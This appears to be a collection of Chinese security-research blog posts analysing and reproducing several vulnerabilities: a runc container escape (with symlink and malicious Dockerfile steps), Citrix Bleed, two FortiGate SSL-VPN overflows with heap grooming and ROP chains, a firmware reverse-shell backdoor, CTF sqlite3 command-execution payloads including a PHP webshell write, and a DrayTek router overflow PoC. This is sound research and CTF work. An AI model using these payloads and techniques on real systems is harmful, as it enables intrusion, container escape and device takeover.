最近公开了一个 runc 容器逃逸的公告, 从公告看漏洞影响范围是: >=v1.0.0-rc93,<=1.1.11
, 补丁版本为: 1.1.12, 这里我的复现版本是:
1 | # root @ pwnable in ~ [16:27:23] |
于是我和 @explorer 以及 @leommxj 一起简单看了一下。
从公告讲就是 runc run
或者 runc exec
的过程中有存在没有及时关闭的 fd
,导致文件描述符泄漏在容器环境中,用户可以通过这个文件描述来进行容器逃逸。
首先来做一个赛博考古, 公告提到该漏洞是在 v1.0.0-rc93
这个版本引入的,在这个版本找到了两个打开 cgroup 地方。
一处是在这个 commit 中,在 (m *manager) Apply(pid int) (err error)
函数中加载了 cgroup , 然后在 func (p *initProcess) start()
函数里调用到了。具体文件行号为 fs.go:339
1 | if err := p.manager.Apply(p.pid()); err != nil { |
此处在rc93 这个版本 release 的。
2月2日,我对blog更新了如下内容, 基本可以判断泄漏 fd 的地方就是在 这个 commit 引入的了。
首先我们在runc代码的 file.go
代码中,假设有这么一个调用链: (并不是所有的 OpenFile
函数都会是 ReadFIle
调用)
ReadFile
-> OpenFile
-> openFile
-> prepareOpenat2
而在次新版本(未更添加补丁的)的代码中 ,即从这个 commit 中可以看出是因为 prepareOpenat2
函数是在检查openat2
这个syscall 是不是能被正常调用,如果调用失败, 则进到 openFallback
函数中,如果成功则用后续使用 unix.Openat2
打开 /sys/fs/cgroup
,此处的 unix.Openat2
是有 O_CLOEXEC
flag的。
1 | //https://github.com/opencontainers/runc/blob/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e/libcontainer/cgroups/file.go#L127 |
然后如果 prepareOpenat2
成功打开了 /sys/fs/cgroup
, 则此时必有一个 fd 指向了 /sys/fs/cgroup
文件夹,
可以从图上的这个补丁看出来, prepareOpenat2
函数内打开这个文件夹的时候也没有用 O_CLOEXEC
这个标志。而且 prepareOpenat2
函数内也并没有 close 掉这个这个 fd,且这个 fd 并没有通过 prepareOpenat2
函数返回, 因为如果能将这个 fd 返回话,在ReadFile
或者 WriteFile
中(或者其他函数),会通过 defer fd.Close()
这样的方法来关闭这个 fd 。
1 | func ReadFile(dir, file string) (string, error) { |
另外一处是在这个 commit 中, 但是这个 commit 是 rc92 中 release的, 由于我和 @leoomxj 都暂时没看到这个 commit 打开的 cgroup 是否close 掉了,所以这里也提一句。
经过仔细阅读公告和通过上面的分析,我们可以了解到问题的根源在于未及时清理打开的 cgroup
文件描述符(fd),导致泄漏。这在 init/exec 过程中表现为在 runc 的 /proc/self/fd/7
中可以找到被打开的 cgroup
,但在后续启动的二进制文件中却被关闭了。
到这,根据公告的利用过程其思路核心为在 runc
创建子进程的时候且 exec(run) 即将执行的二进制文件还没关闭之前, 将 cwd
设置为 /proc/self/fd/7
, 这个这个时候这个二进制程序进程的 /proc/pid/cwd
就会指向容器外的/sys/fs/cgroup
接着我们开始做一点简单的漏洞复现
公告中提到了如果设置 cwd 为 /proc/self/fd
就会导致逃逸
If the container was configured to have process.cwd set to /proc/self/fd/7/ (the actual fd can change depending on file opening order in runc), the resulting pid1 process will have a working directory in the host mount namespace and thus the spawned process can access the entire host filesystem.
这里先复现比较感兴趣的docker exec
操作导致的容器逃逸, 通过公告的提示,我们做如下操作:
这时候发现我们当前的 cwd 目录其实就是在 /sys/fs/cgroup
中,而且是容器外的 cwd
, 于是我们使用多个 ../
就能读取主机的文件系统文件。
明显能看到 docker exec 的时候 /proc/self/fd/7
确实指向了 cgroup
, 于是以此文章提出了一种逃逸场景
The same fd leak and lack of verification of the working directory in attack 1 also apply to
runc exec
. If a malicious process inside the container knows that some administrative process will callrunc exec
with the--cwd
argument and a given path, in most cases they can replace that path with a symlink to/proc/self/fd/7/
. Once the container process has executed the container binary,PR_SET_DUMPABLE
protections no longer apply and the attacker can open/proc/$exec_pid/cwd
to get access to the host filesystem.
runc exec
defaults to a cwd of/
(which cannot be replaced with a symlink), so this attack depends on the attacker getting a user (or some administrative process) to use--cwd
and figuring out what path the target working directory is. Note that if the target working directory is a parent of the program binary being executed, the attacker might be unable to replace the path with a symlink (theexecve
will fail in most cases, unless the host filesystem layout specifically matches the container layout in specific ways and the attacker knows which binary therunc exec
is executing).
具体场景为, 攻击者已经有了容器内shell, 然后需要主机外有 docker exec
命令, 且需要用到 cwd
参数, 然后攻击者得判断或者指定用户即将设置的 cwd
路径和当前这个 runc 是不是也是 fd 为 7 的时候指向 cgroup
, 然后提前设置好符号链接指向 /proc/self/fd/7
, 复现流程如下:
假设我即将设置的 cwd 为 /tmp/hacker, 在容器中执行以下命令
ln -s /proc/self/fd/7 /tmp/hacker
然后容器外执行一下命令
docker exec -w /tmp/fuck -it cve-2024-21626 /bin/bash
此时就会发现cwd已经是外面的/sys/fs/cgroup 了
这里也提一下 docker builid 镜像的攻击手段, 我们从 https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/ 这个博客可以看到受害者执行一个 run 镜像的操作就被容器逃逸了。
这里的我的 Dockerfile 内容如下,此时我环境泄漏的 fd 是 8, 这个我是试出来的。
1 | FROM ubuntu:22.04 |
首先 build 我的恶意镜像
docker build -t test .
然后执行恶意镜像
docker run --rm -it test bash
就会发现此时 cwd
就是在 cgroup, 通过 ../../
就能穿越到 host 目录中
在漏洞修复之前,小心恶意镜像投毒哦 ~
从这个 2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e commit 中能看到几个比较明显的安全补丁(还有缓解措施)
O_CLOEXEC
flag 来打开文件, 避免子进程继承了父进程的 fd 详情 commit 链接: https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48
verifyCwd
函数, 并在 finalizeNamespace
中增加调用了 verifyCwd
检查是否cwd在容器namespace外UnsafeCloseFrom
函数, linuxSetnsInit
& linuxStandardInit
中增加了部分该函数的调用,关闭当前进程中大于或等于minFd的所有文件描述符,除了那些对Go运行时关键(例如netpoll管理描述符),PR_SET_DUMPABLE
这个, 我印象中这个是 core dump 相关的, 在 runc 中这个起了什么作用?最近有好多小伙伴发现复现不了该漏洞, 然后 @likesec 同学提到了是 Linux kernel 版本的问题导致复现不了, 因为 5.6 之前的 Linux kernel 是不支持 openat2 这个 syscall 的。于是我和@leommxj 一起简单跟了一下代码,然后结果也基本能解决疑问中的第一个问题。
在libcontainer/cgroups/file.go
中的OpenFile->openFile->
中(注意不是os.OpenFile
), 会先使用 prepareOpenat2
尝试用openat2 syscall 打开文件
1 | func openFile(dir, file string, flags int) (*os.File, error) { |
此时的 Openat2 缺少一个 O_CLOEXEC
flag
并且由于是为了测试内核是否支持openat2 syscall, 此fd没有返回,所以后续的defer关闭fd操作也没有对这个fd执行。比如ReadFile
函数的此处代码关闭 fd 。当然也还有其他调用 OpenFIle
的方法,也是用类似的方法把 fd 关闭了。
如果内核不支持,这次调用也就失败了,自然没有成功打开的fd。后续会使用os.OpenFile
打开文件,而go的os.OpenFile
在unix平台上会带上syscall.O_CLOEXEC
flag,同时正常使用的fd也应该会被后续的代码释放掉。具体可以参考这个代码:
1 | func openFileNolog(name string, flag int, perm FileMode) (*File, error) { |
因此低内核版本的同学会发现复现漏洞失败 , 因为虽然走到了 prepareOpenat2
函数中, 但是并没有成功打开/sys/fs/cgroup/
, 因此没有 fd 泄漏的场景
这里说一句, 也有同学在问如何确定是 fd 的数字, 因为我们现在已经确定了是哪个地方泄漏的 fd ,所以我们其实可以用 strace 来 trace, 例如我要确定 docker run --rm -it test
的时候, 这个时候应该设置多少的 fd, 我们可以对 /usr/bin/containerd
进程进行 strace。
执行如下命令:
1 | strace -ff -y -e trace=437 -p $(pidof /usr/bin/containerd) |
命令中是437是 openat2
的syscall 编号,可以看到打开的 fd 是 8
10月18日的时候注意到思杰官网发布了一个安全公告: NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966 and CVE-2023-4967 。其中提到一个敏感信息泄露的漏洞。在今天(10月24日),assetnote 发布了一些细节文章,这里简单记录下。
这里以 13.0-47 的固件为例子, 从固件拉出 nsppe 这个程序,用 IDA 打开分析。 搜索文章提到的字符串可以看到如下代码:
1 | want_to_write_len = snprintf( |
这里可以看到,snprintf函数被用于将hostname参数拼接到print_temp_rule变量中,并根据返回的长度,通过ns_vpn_send_response函数返回HTTP请求的结果。这种对snprintf的使用方法是一个常见的错误。这里的hostname参数是由 HTTP 请求中的 Host 头决定的,因此这个参数的长度我们是完全可以控制的。这让我想到一个长亭之前发布的一篇经典文章 实战栈溢出:三个漏洞搞定一台路由器。也是使用snprintf 从缓冲区泄漏内存。
总结一下就是, snprintf 这个函数应该返回的是 ”想要写入buffer 的字符串长度“ , 而不是实际写入buffer的字符长长度。可以从一个 DEMO 看出这个效果:
1 | ➜ Desktop cat test.c |
可以看到,当我想写入 16长度的字符串的时候, n2的值为 16, 而不是实际写入的长度。
The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (’\0’))
PoC:
具体一样长度能不能泄漏出 token , 看起来和版本还是有关系的,至少我这个版本在 CVE-2023-4966这个利用中是打不出来的。应该和不同缓冲区的大小不一样?猜测的,具体我就不进一步调试了。
另外到达这个函数的路由,通过对这个函数 ns_aaa_oauth_send_openid_config
进行交叉引用一下子就看到了:
Citrix Bleed: Leaking Session Tokens with CVE-2023-4966
实战栈溢出:三个漏洞搞定一台路由器
由于CVE-2023-27997
漏洞的影响比较大,所以我一直没有公开这篇博客, 但是距离该漏洞公开已经差不多过去了三个月了, 公网的设备应该都修的差不多了吧, 因此这里可以大家分享一下当时我和@leommxj 一起复现该漏洞的笔记。
更具体的漏洞细节可以参考这篇文章: Pre-authentication Remote Code Execution on Fortigate VPN , 而我这里分析版本依旧是 7.2.2
参考可以参考我上一篇文章 《CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow》
在调试的时候 , 找 @leommxj 和 @explorer 帮我配置了网络环境, 一开始用的是 gdb + vmware 的调试方法,后面改用 gdbserver + gdb 的方法了, 由于 fortigate 的防火墙原因,我们复用了 22 端口 和23 端口
1 | kill -9 $(pidof sshd) && ./busybox_TELNETD -b 0.0.0.0:22 -l /bin/sh |
当我们向 fortigate sslvpn 发送一个 enc
的 HTTP 参数的时候, 会进到一个 parse_enc_data
的函数逻辑里.
另外这个 enc
处理的 URI 有很多可以进来, 包括 /remote/hostcheck_validate
以及 ^[1] 提到的 /remote/logincheck
, 具体 URI 的选择,我们后文接着会提到 。这里接着分析 parse_enc_data
函数。
1 | __int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *in) |
首先进到函数里, 会先判断 enc
参数的值是否长度大于11, 且偶数 。
1 | MD5Data(salt, (__int64)in, 8, (__int64)md5); |
当符合要求后, 会以长度的 1/2 的大小分配一个 buffer , 然后中间会经过一些数据处理,然后到达另外一个 check
1 | out = decodedData_ + 2; |
这里会将数据的长度(实际传入的长度 ) 和 enc
这个参数定义的 payload 的长度比较, 如果符合 int_len - 5 <= payloadLength
, 即实际长度大于定义的长度, 即接着往下走。 注意这里会出现一个安全问题:
因为实际分配的buffer 的长度应该是实际长度的 1/2 ,而这里却是用原来的长度比较的,因此后面会发生溢出。但是这里的溢出的字节是一个 md5 异或, 这里会对我们后面的利用提出一点点的难度,但是作者却用了一个很巧妙的来完成 。
这里简单总结下这个函数和提炼下 enc
的结构, 首先 enc
参数是一个包含 seed、size(2 个字节)和数据的结构。大小和数据都是加密的。 大致就下图的样子.
seed 存储为 8 个十六进制字符,用于计算 XOR 密钥流的第一个状态:
S0 = MD5(salt|seed| "GCC is the GNU Compiler Collection.")
1 | int MD5Data(char *salt, __int64 enc, int size, __int64 output) |
这里的 salt
是由服务器创建的随机值, 可以通过 GET /remote/info HTTP/1.1
获取到
密钥流的其他状态计算如下:
这里稍微吐槽一下, IDA 的反编译错误导致很多文章对该漏洞的产生原因的描述有些错误
首先第一个问题是我们最终选择了 /remote/hostcheck_validate
来做漏洞的触发, 由于漏洞利用原因需要多次请求, 我们如果使用了 /remote/logincheck
容易触发 login-attempt-limit
的限制, 这个默认限制为 2
接着就是利用原语的问题, 这里直接采用了作者提供的方法 ^[2]
大致的核心原理就是使用两次异或, 这样就不会让前面的数值发生混乱.
假设我们要修改 5000偏移的值为 0xff , . 那么我们要溢出两次, 第一次将长度设置为 4999 , 此时溢出结束后会将 5000 位置的值写成 0 , 紧接着第二次用我们计算好的 seed 通过 0xff ^ 0
的方式 , 将5000位置设置成 0xff
按照作者说明就是:
我们的目标是去溢出覆盖 SSL 结构中的 handshake_func
指针, 这利用是参考的 orange 当时的一个博客 ^[3]
1 |
|
SSL 结构体如下 ^[4]:
1 | struct ssl_st { |
那这的问题就是转化为, 我们如何稳定的将 out
这个缓冲区放置在 SSL 结构体的缓冲区前面, 这样溢出的时候我们才能覆盖到。这里我们参考了部分作者的思路, 在我们这个测试版本中, SSL 结构的大小为 0x1db8 字节, 他将分配在 0x2000 的缓冲区内 。 另外提一句这里的堆分配器用的是 jemalloc , 符合一些后进先出的规则,因此我们的最终思路大概就是:
我们用了 gdb 设置当前 PC 为 je_malloc_stats_print
函数地址,打印当前 jemalloc
的分配情况
可以发现默认情况下 0x2000
这么的大的内存是不会怎么使用到的, 因此我们只需要先分配几次 (这里使用 10 次 )分配0x2000 的 buffer,然后释放掉让这连续的内存进入到链表里,方便后面利用的时候让 out 的缓冲区在 ssl 结构体前面。这里的分配原理是通过一个请求给一个解析POST参数的网页 , 在这个请求中,发送了POST key-value对, 其中sizeof(key) = sizeof(struct_ssl) - 0x18 - 0x10 而sizeof(value)=0 , 例如我们发送一个
1 | POST /remote/hostcheck_validate HTTP/1.1 |
这样理想情况下会分分配一个如下的内存:
有三个 AAAA
的内存原因是在解析POST数据的时候,程序会这么做:拿到整个POSTDATA缓冲区(例如a=b&c=d&e=f),然后提取出’&’之前的内容,并把它存储在一个新的块里(那是1个分配)。然后,拿到’=’之前的内容,并把它存储在一个新的块里(两个分配)。然后,它将键和值存储在一个全局哈希映射中,这会导致产生第三个分配
这里为了方便观察分配的情况, 我们还可以用到 gdb 的commands 和 logging 功能。大致就是在 je_malloc
分配结束后下断
1 | //.text:0000000001776C85 E8 D6 5A CC+ call _je_malloc |
我们尽量让其分配的时候是连续的内存:
当然在实际环境中可能有其他的干扰,因此我们可以多分配几次 ,例如我上个版本的利用是分配了 301
次, 然后在这几个 sock 都close掉让其释放。我这部分代码如下。
1 | def heap_layout(IP, port): |
这样之后,我们需要创建两个 sock , 代码如下
1 | def do_rewrtie_ssl_struct(IP, port, salt, seeds): |
其中一个 vul_sock
是用来溢出 buffer , 然后 sock4 是用来分配 ssl 结构体, 用来被溢出的。 这样之后我们就能稳定触发溢出,且稳定的让 ssl 结构体分配在 out 的缓冲区后面
。
当触发溢出的时候, 我们的这个时候指针和内存大概如下:
我们可以发现,当我们控制 PC 后, 这里的 RDI
寄存器指向的是我们的 ssl 结构体, 因此第一个涌上的思路是做栈迁移, 找一个类似于
push rdi; pop rsp; ... ; ret
的 gadget 即可, 我们最后使用的是 push_rdi_pop_rsp = 0x669129 # push rdi ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
这样就将栈成功迁移到了我们的 ssl stuct , 即可控的可写的缓冲区内。 然后这里预期直接在 ssl 缓冲区接着写我们剩下的 gadget
, 但是这里突然发现了一个问题, ssl struct 似乎有很多结构体不能被写, 一写就报错 。
于是我在这里换了个思路, 接着尝试布局堆结构,理想情况应该是:
或者
在 out 前面 , 或者 ssl struct 的后面布局一块完全可控的内存, 但是由于我们的这块完全可控的内存是不能被 00 截断的, 因此key-value 对的 key 似乎是不能用来布局的,但是这里我想了下, key 不能被用来布局堆, 但是 value 应该是可以的!! 因此我在溢出结束之后, 接着尝试用如下代码发包:
1 | def layout_gadget(IP, port): |
成功在 out 缓冲区写下了一块可控的内存
因此此时内存结构如下:
由于 ssl struct 有很多不能写的地方, 于是我想到一个方法, 尝试去找大量连续是 0 的缓冲区, 然后仅仅写入另外一段 stack pivot chain,将栈迁移到前面的可控缓冲区中 。最后我使用了这样的 chain :
1 | 0x000000000060bdb4 # pop rax ; pop rdx ; ret |
通过这条 chain, 将栈迁移到前面的缓冲区, 进行更复杂的操作。
在完成此部分之后,接下来就是组装ROP链的过程了。尽管该程序非常庞大,以至于几乎可以找到所需的任何gadget链,但找寻gadget终究是一个相对繁琐的任务。因此,最后决定采用mprotect + shellcode的方法。首先,利用一些gadget将rdi指向ROP链的内存开头。
这一部分内容就留作给读者完成吧
I learned a lot from @cfreal_ , and it's great to write exploits together with @leommxj.#CVE-2023-27997 pic.twitter.com/nEFndgvoVD
— swing (@bestswngs) June 17, 2023
^[1] https://labs.watchtowr.com/xortigate-or-cve-2023-27997/
^[2] https://blog.lexfo.fr/xortigate-cve-2023-27997.html
^[3] attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn
^[4] https://github.dev/openssl/openssl/tree/openssl-3.0.0≥
这两天和 @leommxj 一起分析了和写了一下 CVE-2023-27997 的漏洞利用, 顺便一想想 CVE-2022-42475 这个漏洞也过去蛮久的了,于是准备把这篇 CVE-2022-42475 漏洞分析分享出来。注:本文不含完整的漏洞利用脚本。
下图为 CVE-2023-27997 的利用录屏, 与本文要讲的 CVE-2022-42475 无关
I learned a lot from @cfreal_ , and it's great to write exploits together with @leommxj.#CVE-2023-27997 pic.twitter.com/nEFndgvoVD
— swing (@bestswngs) June 17, 2023
注:这篇笔记成文于 2023-02-28 , 发表于 2023-06-18
2022 年 12 月 12 日,Fortinet 官方发布了影响 FortiGate SSLVPN 的 RCE 漏洞 CVE-2022-42475 相关信息。本文对此漏洞的成因进行分析。
测试版本为 7.2.2, 环境的安装和部署可以参考这篇文章: https://blog.csdn.net/meigang2012/article/details/87903878。 另外感谢下 @explorer 网管大哥在部署环境上的帮助。
导入虚拟机后需要配置下网络, 参考 https://docs.fortinet.com/document/fortigate-private-cloud/7.2.0/vmware-esxi-administration-guide/615472/configuring-port-1
有个重点 dns 要设置下:
1 | config system dns |
需要配置一个 sslvpn ,然后能访问即可。
挂载虚拟机 vmdk 硬盘后, 可以看到有个 rootfs.gz 文件。
1 | root@Jas-22:/home/user/Desktop/fuck-fortigate/rootfs# ls |
可以看到有如下内容, 我们需要进一步解压 bin.tar.xz
文件夹,使用 sbin 目录自带的命令解压
1 | chroot . /sbin/xz --check=sha256 -d /bin.tar.xz |
然后需要在 bin 目录中放入后门,第一个是生成一个反弹shell替换 smartctl 文件, 以及我这里放入一个 busybox ,做一个软链接 ln -sn /bin/busybox bin/sh
设备中默认没有 bash (sh)文件 (或者说他的 sh 功能比较鸡肋), 然后重新打包。
1 | # 重新打包 bin 文件夹 |
重打包完成后, 我们需要过几个校验,才能正常启动系统。
vmlinux :
解下来是 bin/init:
这里会校验 fgtsum , 失败直接给你重启最后是 rootfs 检查
由于,我是采用 vmware + gdb 的调试方式, 即 使用VMware和GDB进行Linux内核调试 (bestwing.me), 因此我直接写了一个 gdb python 脚本动态修改返回值即可:
这里皮一句,依稀记得这段代码是 chatGPT 帮我生成的。
1 | import gdb |
当系统成功执行后,使用 diagnose hardware smartctl
即可运行我们的后门文件。
在处理用户 POST 数据的时候,
会根据 http header 中的 content-length
字段分配 buffer , 然而在分配之前, 即在调用 pool_alloc 函数之前
pool_alloc 有两个参数, 第二个为即将要分配的buffer 大小
rax 为用户请求结构体指针,偏移位置 0x18 存放了 CL 值。先将 CL 放在 eax 寄存器中,使用 lea 指令将其加一后放在 esi 寄存器,再用 movsxd 扩展为 64 bit 值。
在调用 pool_alloc 函数时使用 32 位数值 + 1 拓展成 64 位的方法,这里存在整数溢出。那么我们可以构造特殊的 CL 值,比如 0x1b00000000,经过运算拓展之后会变成 0x1 。会分配一个小的内存空间导致溢出
上面这个是断点是初始化 buffer , 可以看到大小是 1, 之后在 memcpy 处就 会溢出。
这里首先明确一下,我不会公开完整的利用,这里这提一点利用上的思路。利用整体思路参考 Orange 2017 年的文章, 大致思路就是进行进行竞争, 一边在堆上布局 SSL 结构体,一边触发漏洞,然后溢出覆盖 SSL 结构体。
之后就可以控制 PC , 当我们控制 PC 后我们需要确定 padding , 这个步骤比较繁琐, 我拿 PoC 改了一个循环 fuzz 的脚本。
1 |
|
然后对 ret 这个gadget 下一个断点, 当触发断点的时候, 脚本会因为timeout 触发异常,然后这附近大概就是咱们的padding。
然后这个时候只需要找栈迁移的gadget 即可。这里我找了的 push rdx ; add bl, byte ptr [rbx + 0x41] ; pop rsp ; pop rbp ; ret
, 这个gadget , 正好可以将栈迁移到 rdi 寄存器所指向的内存地址上。然后将剩下 ret 指令的替换成 pop rax ; ret
这样的gadget, 这样就能一直迁移到可控制的 AAAAAAA
的地方进行 rop 链了。
再阅读这一部分的内容,我突然反应过来其实不需要替换指令, 当前的 ret 指令就足够迁移到可控的
AAAA
的位置进行 ROP 了
由于 fortigate 的这个程序很大,正如 CVE-2023-27997 的作者所说的,
该程序很大,想找到适合的 gadget 来组成 ropchain 仅仅需要花费一点时间就行了。
Configuring port 1 | FortiGate Private Cloud 7.2.0 (fortinet.com)
attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn
使用VMware和GDB进行Linux内核调试 (bestwing.me)
周末简单看了下 JustCTF 2023 的题目, 主要是三个题目吸引了我的注意, 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次学到了一点利用方式。
在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法: ^1
1 | ?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn |
通过写 ATTACH DATABASE
写文件, 然后执行 php 代码
1 | ?name=123 UNION SELECT |
在能上传文件的情况在, 且加载扩展的功能必须打开 ^2 。在 JustCTF 的 notabug 中也用到这个技巧
1 | from pwn import * |
那么如果我们不能上传文件的时候如何利用 load_extension
,方法来做命令执行呢?
我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');
来执行任意的 glibc 方法,例如这里的思路是
通过 puts 、gets 为预测堆地址,并写入我们的结构,然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132
1 | from pwn import * |
在 Command Line Shell For SQLite
界面中, sqlite 是内置了一些方法的 ^3 ,其中就包括了 .system
1 | .system CMD ARGS…Run CMD ARGS… in a system shell |
这是可以直接执行命令的,但是在 JustCTF 中, 程序做了限制
1 | # root @ pwnable in /tmp/private [14:10:59] |
这个正则的解释就是:
这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义:
/^./:匹配以.开头的行。
{ /^.open/!d; }:对于匹配到的以.开头的行,如果行不以.open开头,则删除(d)该行。
因此,这个sed命令的作用是删除以.开头但不以.open开头的行。
因此通常而言我们是不能直接执行 .system
命令的,但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar');
配合就可以了, 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了
1 | select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar'); |
在 sqlite 还有一个名叫 Edit()
的函数 ^4, 该 Edit()
接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码,该方法其实也是可以执行任意命令的
1 | sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0, |
最后调用到 editFunc
中
1 | zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile); |
这是在 discord 看到另外一个队的PoC:
1 |
|
1 Many-Birds-One-Stone
2 load_extension
3 SQLite3命令行窗口常用命令
4 The edit() SQL function
这次 RWCTF 比赛我一共出了两个题: 「Printer2」 和 「Hardened Redis」。至于为什么今天才在博客更新这个Writeup一个原因就是 Pritner2 相关的漏洞今天终于发布了正式补丁。
这是 OpenPrinting
项目中 cups-filters
模块下的 Backend Error Handler(简称 beh)存在的漏洞。这里是关于 beh 的介绍
漏洞点位于 cups-filters/backed/beh.c#L288
1 | // (context: argv = beh <job-id> <user> <title> <copies> <options> [file]) |
可以看到这里有一个明显的命令注入, 当用户控制 user 或者 title 字段的时候可以造成任意命令执行。更详细的细节可以看我提交给官方的报告:
report a command inject Vulnerabilities in cups-filters
这是题目考点是在较高版本的情况下在有访问 Redis
的情况下如何获取 Redis
所在系统 shell 权限。 在高版本的 Redis 已经不能使用主从复制来获取 shell了(印象中),另外我也禁用了一些 Redis
的方法。 但是由于对 Redis 的熟知程度不够, 其次也是去年参加 CTF 少了, 被 2022 Spring GoN Open Qual CTF 的一个 Redis
题的解法非预期了。
下次有机会可以和大家详细分享下这个解法。
这里接着讲我的预期解法,讲到 Redis
, 如果大家有印象,应该会想到 CVE-2022-0543
。 当时这个漏洞影响了 Debian 系列的 Linux 发行版系统的包管理器所安装的 Redis
。因为 Debian 系列由于打包问题,Redis在Lua解析器初始化后,package变量没有被正确清除,导致攻击者可以利用它来进行Lua沙箱逃逸,从而执行任意系统命令。
这个时候我们注意到了这 Debian 系列用的 Redis
(即使用 apt 安装 ) 所使用的 lua 解析器是 lua 5.1 , 而且是存在一个 2015 年漏洞的 lua 解析器,虽然这个漏洞在 2015 年就被 Redis
官方修复了, 但是 lua 5.1 解析器并没有修复。
apt
命令安装的redis使用的是单独的 liblua5.1.so.0
2015 年这个漏洞是 CVE-2015-4335
, 另外 HN 评论区当时也提到了这个问题,
I think this is still ‘broken’ because Redis have applied custom patches to the )
虽然当时我也给 ubuntu 和 Debian 发了邮件提醒了这件事,但是他们的回复看起来是不是很想单独修复。
进一步的漏洞利用与分析可以参考我 chu 师父 的博客, Redis CVE-2015-4335分析 , 我就不赘述了。 没想到隔了这么久还是依然能受到 chu 师父的照顾。
cups-filters/backed/beh.c#L288
这个漏洞是我去年 9 月份复现的,一直拖更没有发布在我的 Blog 。因为到考虑 Blog 太久没更新了,所以趁着假期整理下笔记,然后发表在 Blog 上吧。顺便一提, 本篇文章没有什么技术含量,大佬可以忽略不看了。
我这里分析的版本是 Vigor 2912 型号 , 固件版本为 3.8.12 。固件可以从官网下载 [^1], 但是这个属于DrayOS 的系统固件是需要逆向解压代码的,这部分内容不在本篇文章的讨论范围,大家可以参考漏洞的作者 slide[^2] 。这里我就不展开赘述了。
解压固件后, 我们会得到一个 RTOS 的大Binary 文件, 我们可以通过 rbasefind[^3] 或者其他方法获取固件的加载基地址,例如我这里使用 rbasefind 查找出了一个结果:0x80020000
通过 IDA 加载设置好加载地址,然后等待分析结束。在这个过程中呢,我们可以再阅读下漏洞通告[^4]的描述:
Exploitation attempts can be detected by logging/alerting when a malformed base64 string is sent via a POST request to the /cgi-bin/wlogin.cgi end-point on the web management interface router. Base64 encoded strings are expected to be found in the aa and ab fields of the POST request. Malformed base64 strings indicative of an attack would have an abnormally high number of %3D padding. Any number over three should be considered suspicious.
通过这个描述我们可以得出几个结论:
/cgi-bin/wlogin.cgi
即登录接口%3D
可以猜测漏洞出现在 base64_decode
函数中 紧接着我抓去了一个正常登录的 HTTP 请求包,等待 IDA 分析完之后通过对字符串进行交叉引用,找到了对应的漏洞函数:
可以看到 username 和 password 都会通过 base64_decode 这个函数进行解密,这个函数的参数格式为:
1 | base64_decode(char *input, char *output, unsigned int maxlen) |
我们看到第三个参数看似是限制了最大 decode 长度,但是实际上这个值真的生效了吗? 我们继续往下看
这里会有一个 calc_decdoe_len
的函数,来计算 base64 decode 后的长度是不是大于 maxlen 如果大于就退出。 那么我们就基本判定大概率问题是出现在了这个函数中。
1 | unsigned int __fastcall calc_decode_len(char *input_buf) |
通过阅读代码,我们找到了这个函数的问题所在:
大致就是, 首先通过 3 * (inputlen >> 2);
计算出一个长度 , 然后判断最后一位是不是 = , 如果不是直接返回, 如果是接着往下走。
然后我们注意到这里有个减法运算 offset = decode_out_len - inputlen;
, 正常而言, 这里的 deocde_out_len
应该是小于 inputlen
的所以这里会是一个 负数。
然后进到 do .. while ()
循环中, 只有当 当前字符不为 = 或者, v8 == offset
的时候才会退出循环, 由于 offset 是个负数, 因此只有当前字符不为 = 才会退出返回。然会这里的长度就会--out_len
递减。
根据base64 的原理我们知道四个 = 为空
1 | import base64 |
因此在构造我们 payload 的时候, 每多于 maxlen(这里是 84 ) 的长度一个字符, 我们就需在后面添加 四个 等号。 这样 deocde 后的长度永远不会大于 84, 但是真正 decode 的结果却会大于 maxlen
拆开机器,可以发现右下角 4 个pin 的是 调试口 。
接着串口后, 可看到一些输出
1 |
|
当我们通过 PoC 攻击设备之后,可以从日志输出看到一些 dump 信息, 输出包括 EPC , 当前崩溃的地址, 如这里里是 0xdeadbeaf,
还会打印栈 和 寄存器
我们可以通过这些输出来调整我们的 PoC, 来达到我们目的,另外为了更方便的调试, 我还使用了 qiling 进行部分代码的模拟, 思路如下:
前面跑一段随便的 shellcode ,然后将 RTOS 整个 binary 读起来, 写入到我 mmap 的内存中。然后设置PC 跳转过去。最后的代码如下
1 | from binascii import unhexlify |
利用思路:
[x] ret2shellcode :
在尝试这个方法的时候, 发现没法执行 shellcode, 猜测是 指令流水线 cache incoherency 特性, 可能需要刷新指令, 但是调用了个 usleep(10000)
虽然看起来 PC 往后移动了, 但是仍然没执行成功, 原因不明。
[✓] rop chain
在逆向一些 cmdlist 的过程中, 发现一个修改密码接口
于是我跳转到这个地方, 修改密码 。这里有一些需要跳过坑点,具体可以留给感兴趣的读者了。这里提供一个 PoC 给读者
1 | pay = flat( |
cmdlist 中一个功能可以用来dump内存,方便调试 。 但是注意这里的 0x800000, 我们需要设置当前用户的权限为 0x800000。 这里就是另外一个挑战了,也留给读者自己解决吧。 2333
[^1]: Index of /Vigor2925 (draytek.com.tw)
[^2]: HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret - YouTube
[^3]: sgayou/rbasefind: A firmware base address search tool. (github.com)
